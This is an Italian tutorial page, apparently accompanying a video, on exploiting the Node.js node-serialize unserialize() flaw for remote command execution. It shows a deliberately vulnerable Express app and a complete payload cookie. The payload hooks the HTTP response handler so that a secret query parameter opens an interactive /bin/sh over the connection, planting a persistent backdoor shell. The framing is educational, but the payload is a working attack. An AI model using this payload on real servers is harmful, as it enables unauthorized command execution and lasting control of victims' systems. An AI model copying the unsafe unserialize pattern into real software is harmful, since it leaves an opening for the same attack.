Tutorial Hacking NodeJS – Remote Command Execution attraverso serialize-unserialize

In questo video vedremo insieme come sfruttare la recente vulnerabilità della funzione unserialize() di NodeJS!

Buona visione!

Il Codice vulnerabilte di Nodejs – serialize

Di seguito potete trovare il codice dell’applicazione vulnerable.js

var express = require('express');
var cookieParser = require('cookie-parser'); var escape = require('escape-html'); 
var serialize = require('node-serialize'); 
var app = express(); 
app.use(cookieParser()) app.get('/', function(req, res) { 
	if (req.cookies.profile) { 
		var str = new Buffer(req.cookies.profile, 'base64').toString(); 
		var obj = serialize.unserialize(str); 
		if (obj.username) { 
			res.send("Hello " + escape(obj.username)); } 
		} else { 
			res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", { maxAge: 900000, httpOnly: true }); 
		res.send("Hello stranger"); 
		} 
	}); 
app.listen(4000);

Nel seguente riquadro il codice del cookie, grazie al quale è possibile sfruttare la vulnerabilità:

{"username":"ajin","country":"india","city":"bangalore","exec":"_$$ND_FUNC$$_require('http').ServerResponse.prototype.end = (function (end) {\r\n return function () {\r\n if (this.socket._httpMessage.req.query.q === 'abc123') {\r\n ['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket))\r\n var cp = require('child_process')\r\n var net = require('net')\r\n var sh = cp.spawn('/bin/sh')\r\n sh.stdout.pipe(this.socket)\r\n sh.stderr.pipe(this.socket)\r\n this.socket.pipe(sh.stdin)\r\n } else {\r\n end.apply(this, arguments)\r\n }\r\n }\r\n})(require('http').ServerResponse.prototype.end)"}

 

Per ulteriori approfondimenti, vi consiglio di leggere anche l’articolo originale